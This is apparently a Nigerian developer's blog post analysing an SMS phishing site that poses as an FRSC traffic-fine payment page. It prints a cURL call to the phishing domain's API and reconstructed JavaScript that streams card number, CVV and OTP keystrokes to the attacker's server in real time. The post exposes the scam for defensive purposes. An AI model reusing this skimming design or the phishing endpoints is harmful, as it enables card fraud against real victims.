Your browser (Internet Explorer 6) is out of date. It has known security flaws and may not display all features of this and other websites. Learn how to update your browser.
X

The Sophisticated FRSC Traffic-Offence Scam: The Beginning of a Bigger Cyber Threat

I casually opened social media to follow up on the news during my “stretching” time at work, and I saw a story about how a celebrity said ₦1.8M was wiped from his account after he received an SMS about a traffic offence. Interestingly, I opened the link from the SMS in my browser, and what I observed got me scared to my bone marrow. I would never have imagined that we had already gotten to this point of sophistication. The bad actors have upgraded, and we all need to be worried.

If you are a follower of my write-ups, you will remember the email variant of this type of fraud that I exposed in 2014. You can read the article here: https://blog.akinyeleolubodun.com/how-i-hacked-ecobank-online-banking-scam-database.html. I even exposed another one almost a week after, and the post is here: https://blog.akinyeleolubodun.com/another-online-bank-(first-bank)-scam-exposed.html. They kept coming for me that particular year until I was tired. LOL.

More than 10 years after my article, these fraudsters have gotten way better and no thanks to AI but not without leaving a trace though.

Let me explain what the fraud is

This type of cyberattack is referred to as phishing. Phishing is a type of cyberattack where criminals pretend to be a trusted source to trick you into sharing private information or downloading harmful software. Looking at what phishing used to be and comparing it with what I saw now makes this a serious thing of concern.

 

 

Let me put things in perspective for you. It is usually difficult for the “Yahoo” boys to get a good programmer to help them architect a solid phishing application, and the reason is that the very good guys who can build a solid application for a phishing attack are usually not interested in fraud because they can use their skills to make clean money without having the police on their trail. The few good ones who feel they can risk creating such websites also know they can be jailed if caught, so they have to make a difficult choice between freedom and forever watching their backs. You may remember reports about people around “Hushpuppi” who were described as technical guys or web developers. I am sure anyone who used his skill for such an act and ended up locked away would have had plenty of time to regret that decision (maybe I am overthinking for them though).

So, the bad actors are left with some “I can try boys/girls” with half-baked knowledge, so what they eventually have as their phishing application is usually easy to crack by a junior-level programmer who understands what s/he is doing, talk less of a senior guy. The application is usually low quality and reeks of vulnerabilities. That is what I have known phishing applications to be for a while now.

So how is this particular FRSC phishing website different from what I used to know? Sit back and let me explain the sophistication to you like a child. From the first look, the website still has a few of the normal hallmarks of how they operate…like the fact that it cannot really verify information. I knew that if I put random, funny alphanumeric characters in the plate-number input field, they would not be validated. So I did, and they never disappointed me. I moved to the next page, where I was shown how much I was owing (₦2,500)…no name or any validated personal information on the page. They passed this one too, according to their normal modus operandi. Then I clicked to go to where I could pay, and that is where the interesting thing happened. I noticed the page was loading unusually long before it opened. I did not mind, so I waited. When the page finally loaded, it was asking for everything a card transaction needed to be completed apart from an OTP…so I brought out my dud card and started inputting the number. Then I realised I might be missing some interesting things happening under the hood, so I opened my “Developer Console”, and what I saw made my jaw drop. Omo! The guy is streaming everything I am typing in real time to its server…ahhh…thank God I am using a dud card.

I clicked to go to the next page and saw the OTP page, so I inputted “You are useless” and waited for a response. I was expecting to see a success page, but after waiting for some time…I saw an error page saying my card could not be charged or something like that. Wooow…that was the first actual verification I could notice. I decided to try the flow again so I could pay more attention to my console. While I was still thinking and deliberating, I was redirected to the real FRSC page (normal thing). I decided to go back to the link I started from, and this was when the drama started. I began getting “404 Not Found”…Ahhh, this is the same page I just completed now…how come? Wetin happen?

I decided to open it in another browser and got the same error. Something in me said maybe my IP had been blocked, so I changed my internet provider and, alas, I saw the web page again on another browser. Now, this is interesting! So what is happening? I went back to the first browser to clear all the identifiers because I knew the best it could do was store some stuff in browser storage, so I cleared about three storage areas I knew. I tried again…the page was still permanently not loading. Haba, what is this ke? I then decided to calm down and inspect the API calls very well, and what I found was disturbing. Below is a cURL of what the API is doing:

curl --location 'https://ak.fegw.eu.cc/FQkHHiFmaa/api?token=a437edec-03bc-4983-9a2e-131c4f45d284' \
--header 'accept: application/json, text/plain, */*' \
--header 'accept-language: en-GB,en-US;q=0.9,en;q=0.8,es;q=0.7,ro;q=0.6,pt-BR;q=0.5,pt;q=0.4,ja;q=0.3,fr;q=0.2,ko;q=0.1' \
--header 'content-type: application/json' \
--header 'origin: https://ak.fegw.eu.cc' \
--header 'priority: u=1, i' \
--header 'referer: https://ak.fegw.eu.cc/ng' \
--header 'sec-ch-ua: "Not=A?Brand";v="99", "Opera";v="135", "Chromium";v="151"' \
--header 'sec-ch-ua-mobile: ?0' \
--header 'sec-ch-ua-platform: "macOS"' \
--header 'sec-fetch-dest: empty' \
--header 'sec-fetch-mode: cors' \
--header 'sec-fetch-site: same-origin' \
--header 'token: a437edec-03bc-4983-9a2e-131c4f45d284' \
--header 'user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 OPR/135.0.0.0' \
--header 'x-token: a437edec-03bc-4983-9a2e-131c4f45d284' \
--header 'Cookie: token=a437edec-03bc-4983-9a2e-131c4f45d284' \
--data '{}'

I will spare you the technical jargon. One thing worth noticing is that the token is being sent in four different places: the query string, the token header, the x-token header, and the cookie.

So I decided to investigate the JavaScript code behind the whole thing. Please come and see what I saw o…click here to download the JavaScript.

Here is the overall flow of what the application is doing

What it does is more significant: it sends information to backend endpoints in real time, and whatever happens after that is controlled by server-side code that is not present in the JavaScript I could inspect.

The overall flow appears to be this:

  1. It creates a unique UUID token for each visitor/session. It deliberately persists that same token in four browser-side places: sessionStorage, localStorage, a cookie named token, and IndexedDB (TokenDB).

  2. Every API request is tagged with that token in several ways. The Axios interceptor adds:

Token: <uuid>
X-Token: <uuid>
?token=<uuid>

and because the cookie is on the same domain, the browser also sends the token cookie.

This explains exactly why the cURL I showed earlier had the token in so many places.

3. On startup, it calls:

POST /FQkHHiFmaa/api
{}

That appears to initialise the visitor/session and obtain configuration.

4. It then establishes a WebSocket connection:

wss://<current-domain>/ws?token=<uuid>

and sends a login event through that socket.

I paid particular attention to the input handling. This is the function:

function $r(type, key, value) {
    // WebSocket
    Le.send(JSON.stringify({
        event: "input_text",
        content: {
            type: type,
            key: key,
            text: value
        },
        timestamp: ...
    }));

    // HTTP fallback/copy
    By({
        content: {
            type: type,
            key: key,
            text: value
        },
        timestamp: ...
    });
}

And By() is effectively:

function By(data) {
    axios.post("/FQkHHiFmaa/api/input", data);
}

The WebSocket transmission is debounced at approximately 300 ms, while the HTTP transmission is debounced at approximately 1 second. The HTTP destination is specifically /FQkHHiFmaa/api/input.

The worrying part

That $r() function is attached directly to input events. For example, the card screen contains fields including:

cardName
cardNumber
expires
cvv

and the handlers call things equivalent to:

$r("input_card", "cardName", cardName)
$r("input_card", "cardNumber", cardNumber)
$r("input_card", "expires", expires)
$r("input_card", "cvv", cvv)

So it is not simply submitting the card information when someone presses Pay. It is transmitting the values as the person types them. The card form and these fields are explicitly present in the bundle.

The same mechanism is used for OTP/verification fields. The code binds input listeners dynamically to .custom-input elements and forwards their values.

The server can then associate all those individual pieces of information with the UUID.

Is it writing to a public file?

Not from anything I saw in the JavaScript.

There are static files such as:

/wd122_ng_etc_fctevreg/header.html
/wd122_ng_etc_fctevreg/footer.html

but the JavaScript is using fetch() to read them and inject them into the page. It is not POSTing or writing to those HTML files.

There is also no obvious use of browser filesystem-writing functionality such as:

showSaveFilePicker()
FileSystemWritableFileStream
createWritable()

nor did I see something like:

POST /public/data.json
POST /something.txt

So I would not conclude that it is writing to a public file.

The important missing piece is the backend implementation of:

POST /FQkHHiFmaa/api
POST /FQkHHiFmaa/api/input
WSS  /ws

For example, /api/input could internally do:

file_put_contents('/var/www/public/data.json', ...);
or
DB::table('inputs')->insert(...);

or forward the information somewhere else entirely.

From the frontend, there is no way to determine which one.

There is another thing in this code that is scary. The WebSocket server can send instructions such as:

otpValid
customOtpValid
appValid
success
kickOut
block
back
reject
refresh

That is how the browser changes what the user sees based on those server commands.

Even more unusually, the application accepts dynamic pageContent, inserts it into the page using innerHTML, finds <script> elements inside it, recreates them, and executes those scripts.

So the bad actors controlling the backend appear able to control the verification page the visitor sees in real time.

In other words, the architecture looks roughly like this:

 

 

So, the JavaScript is definitely transmitting sensitive input...including card details and verification/OTP-type input...to the backend as the user types.

Possible ways this may have been done

Before I go further, let me separate what I confirmed from what I suspect. Everything above came from what I could observe in the frontend code and network behaviour. What follows is my working theory of what may be happening behind the backend; it is not a confirmed forensic finding. I know your question is: how come it is then debiting different amounts from people’s accounts? Here is what I feel their system may be doing. At the point you input the card and click to go to the next page where the OTP is requested, their backend may be attempting to charge the card from a higher figure down to an amount that is actually chargeable. As they get an error from the gateway, they could try another amount until one is successful. You are then sent a real OTP, and immediately you put it into the input box, that is the end. In fact, you may not even be able to get another glimpse of the page.

I heard someone say they have gotten information about who the bad actors behind this fraud are…please, no one should jump to a conclusion yet. There are a few things I know these guys may have done to cover their tracks, but their tracks are not entirely covered though.

  1. They could have compromised a vulnerable account, website, or infrastructure connected to eu.cc and used it to create or host the subdomain/application. If you have hosted a vulnerable application before (like in the days when WordPress sites were frequently hacked), you will know this happens like “water”. In fact, from my research, the reported cases I have seen involve these domains/subdomains: ak.fegw.eu.cc and fegw.eu.cc.

  2. They may also have used whatever card-processing or merchant information sits behind the website simply to test whether the payment goes through without necessarily having the obvious settlement details in their own names. This is my guess sha...and only a guess.

  3. The guys who perpetrated this fraud might not even be in Nigeria.

Why is this concerning?

Because, as they say, we know in part and understand in part…it makes a sophisticated crime relatively easy to unravel. In the past, you usually needed more than yourself to perpetrate a solid fraud.

However, AI has levelled the playing field. With the level of sophistication of this fraud, I cannot stop wondering whether the person who built the attack had serious AI backup. AI in the hands of a junior developer can turn the Junior Dev into a wizard.

A bad actor does not need to tell anyone his/her plan. S/He can just pay for a good AI subscription and have the entire conversation with an AI agent. Before, you could need more than one professional to get something like this done…now, one person with the right prompt and a subscription can go much further.

I also noticed an indicator in one of the endpoint bodies that looked Chinese-related. But that alone is nowhere near enough to conclude that the attackers are Chinese or China-affiliated. It could be reused code, a library, copied infrastructure, or even a deliberate distraction. See one of the endpoint bodies below:

 

 

 

 

How can they be traced?

Like I have been saying, this fraud cannot happen without leaving a trace. Our infrastructure providers have a big role to play here. Whoever put this together used SMS to reach victims. On normal legitimate enterprise/Sender-ID routes, there should be a provider, account, payment, approval, or KYC trail somewhere. Even if compromised credentials or an existing gateway were used, that would still create another trail worth investigating.

I feel our Telcos should now be smarter in this age of AI…there should be automatic filtering of spam messages and notifications to the appropriate departments when they see something like this. Imagine if all the messages like this were never delivered and the provider/account they came from was immediately investigated or penalised. This would have saved citizens from this brouhaha.

Another place these fraudsters can potentially be tracked is through the payment route they used. From what I have heard, this may involve an international payment route, but I do not have the actual debit alert or complete transaction record, which would help us understand the merchant description, gateway, acquirer, and country. If CBN still has a rule that dollar cards should remain for dollar transactions, this would have been a difficult exercise for the fraudsters. They wouldn’t be able to charge a Naira card through an international route. What it may mean is that the payment was processed outside Nigeria. Getting the money back may then become more complicated because chargebacks depend on the card scheme, acquiring bank, gateway arrangement, and the evidence available. Whoever did this may have thought about how to cover that trail...but a payment trail is still a trail.

If you care enough, I have built a formal forensic evidence package around the ak.fegw.eu.cc application and the JavaScript I harvested. The report is structured so it can be given to NPF cybercrime investigators, EFCC, ngCERT, a bank fraud team, an acquiring bank, hosting providers, or telecom/SMS providers. It includes the technical findings, indicators of compromise, evidentiary limitations, attribution leads, preservation requests, a victim-evidence template, and a chain-of-custody form.

If you know any of them, let me know so I can share with you…it might give them an insight into what can help unveil these guys.

How people can detect and protect themselves

I am a proponent of the idea that customers should be vigilant about this type of fraud, but I would like to take another approach since the fraud and fraudsters are getting smarter. I think our infrastructure providers should do more to protect their users and citizens.

If you are a Fintech company, do more to protect your users. Block or delay suspicious transactions before they get to the point where the user loses money. Imagine one of these transactions got blocked/delayed because the transaction source was unusual and the user only needed to dial a code to release the amount (or even confirm through another trusted channel). Do you know how happy that customer would be now? GTBank used to do something like this years back; I wonder why they stopped.

Imagine if all the messages never got to these customers. As a Telco, do you know the agony you would have saved?

Let’s think more as service providers.

To my fellow users…think about it. Why do you have to continue with a website where you put in your plate number and it still cannot show your name or any validated personal information? Why not test it with a wrong plate number first? Why not try to make meaning out of the domain name when it does not seem related to the organisation you believe you are dealing with? We are in the age of AI…things are getting crazy. Why not choose to visit an FRSC office or go through an official FRSC channel to verify and make the payment? Maybe that would have saved the day.

The future

I feel we will see more of these frauds in the coming weeks because this one seems to have been successful for the bad actors. I feel our infrastructure providers should swing into action fast and help prevent something bigger from happening.

This attack is coordinated, calculated, and well-constructed. The next battle will be a battle of AI…it may become a question of the most intelligent AI being in the hands of “who”, while ordinary people become the pawns on the chessboard.

The future is scary…please read the news.

If you are a gateway and you do not protect yourself and your users, the consequences could become very serious...regulatory, financial, and possibly criminal.


comments powered by Disqus